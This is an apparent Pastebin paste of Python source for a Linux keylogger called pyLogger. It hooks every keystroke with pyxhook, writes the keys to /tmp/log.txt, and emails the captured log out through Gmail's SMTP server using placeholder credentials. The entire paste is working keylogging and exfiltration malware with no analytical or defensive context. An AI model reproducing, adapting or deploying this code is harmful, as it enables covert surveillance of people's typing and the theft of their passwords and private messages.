Guest User

Untitled

a guest
Dec 20th, 2015
28
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.92 KB | None | 0 0
  1. __author__ = "IrrelevantPenguin"
  2. # Inspired by https://github.com/WilsonKoder111/PieLogger
  3.  
  4. import sys, time,os
  5. import smtplib
  6. import pyxhook # This is the linux version of pyhook
  7.  
  8. class pyLogger(object):
  9. def __init__(self,smtp_server, username, password, from_addr,to_addr, email_body, log_file_path):
  10. # Email config
  11. self.smtp_server = smtp_server
  12. self.username = username
  13. self.password = password
  14. self.from_addr = from_addr
  15. self.to_addr = to_addr
  16. self.email_body = email_body
  17.  
  18. self.log_file_path = log_file_path
  19.  
  20. def key_pressed(self,event):
  21. with open(self.log_file_path, "a") as log_file: # Save all the key presses in a file
  22. log_file.write(chr(event.Ascii))
  23. with open(self.log_file_path, "r") as file_to_read: # Use the log file as the email body
  24. self.email_body = '"' + str(file_to_read.read()) + '"'
  25. if event.Ascii == 0: # If backspace is pressed then send an email
  26. self.send_email(self.username, self.password, self.from_addr, self.to_addr, self.email_body)
  27.  
  28. def send_email(self,username, password, from_addr, to_addr, email_body):
  29. server = smtplib.SMTP(self.smtp_server)
  30. server.starttls()
  31. server.login(self.username,self.password)
  32. server.sendmail(self.from_addr,self.to_addr,self.email_body)
  33.  
  34. def main():
  35. logger = pyLogger('smtp.gmail.com:587',"lol@gmail.com", "pass09", "lol@gmail.com", "lol@gmail.com", "sumdat", "/tmp/log.txt")
  36. # Set up the Hooks to detect Key Down events
  37. hook_manager = pyxhook.HookManager()
  38. hook_manager.KeyDown = logger.key_pressed # connect the KeyDown event to our function
  39. hook_manager.HookKeyboard()
  40. hook_manager.start()
  41.  
  42. running = True
  43. while running: # Create a loop so the program doesn't close
  44. time.sleep(0.1)
  45.  
  46. hook_manager.cancel()
  47.  
  48. if __name__ == "__main__":
  49. main()
Add Comment
Please, Sign In to add comment